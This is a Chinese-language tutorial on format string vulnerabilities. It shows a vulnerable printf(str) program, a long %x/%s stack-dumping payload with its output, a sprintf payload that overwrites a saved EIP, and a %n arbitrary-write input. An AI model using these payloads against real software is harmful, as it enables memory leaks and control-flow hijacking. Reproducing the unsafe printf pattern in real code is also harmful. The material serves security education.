文章

格式化字符串漏洞

printf家族的格式化漏洞

原理

格式化字符串漏洞主要出现在printf家族中,当程序员为了偷懒将从用户处读入的字符串直接输出时,可能会触发格式化字符串漏洞,例如以下代码。

printf("%s",str)//这是安全的
printf(str)//这是危险的

虽然说printf的第一个参数一定会输出,但是如果在其中拥有格式字符的话,就会从堆栈中找到一个变量的参数值进行输出,从而输出本不应该输出的内容。

引例

以下我将把一段c++代码作为例子解析原理

#include <iostream>
using namespace std;
int main()
{
    char str[100];
    cin >> str;
    printf(str);
    system("pause");
}

这段代码就会出现此类bug

%s
閴J

其中“閴J”这个奇怪的字符串就是从内存里读出来的
假如我们不使用%s这样的目的较纯粹的格式化字符,而是使用%n、%x这样恶意满满的格式化字符就会导致任意写或者堆栈中的东西被泄露出去。

%x查看栈的内容%s查看地址上的内容

内容如下

%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s

-----结果----

11d108211d10825b1000cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc7825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782573257325732573257325732573257325732573257325732573257325732573257325732573257325732573257325732573257325732573257325732573257325732573257325732573257325732573257325732573257325732573257325732573257325732573257325000000000000(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)(null)

ps.请注意这样子操作访问的地址从高到低(堆栈从低向高利用)一个%x刚好跳过一个地址。

sprint触发栈溢出

例如

char user[]="%496d\x39\x4a\x42\x00";
char outbuf[512];
char buffer[512]
sprintf(buffer,"ERR Wrong command:%.400s",user);

两个16进制表示一个字符,以这种方式将他们捆成整体,这样子会两个16进制会作为一个整体写入而不是作为两个字符写入毕竟我们需要在内存中写入的是00434a39而不是16个16进制。也只有以这种方式才能在内存中写入00434a39

这里有一个小技巧利用%496d,快速向buffer里面丢垃圾这样子就往栈中存放eip的位置写入了“00434a39”

低  临时变量3 EBP-xxx
↓↓  临时变量2 EBP-xxx
↓↓  临时变量1 EBP-xxx
↓↓  <------EBP
↓↓  EBP原值
↓↓  EIP原值
↓↓  参数1
↓↓  参数2
高  参数3

调用函数附近的内存情况

任意内存写

先通过这样的方式确定那个字符串放在那里
输入
AAAA %08x %08x %08x %08x %08x %08x %08x

\x58\x74\x04\x08%.Md%n
形如这样的代码可以在08047458中写入一个M+4
大致原理基本如此


pentools 可以很快速的进行此漏洞利用,下次有空补上

License:  CC BY 4.0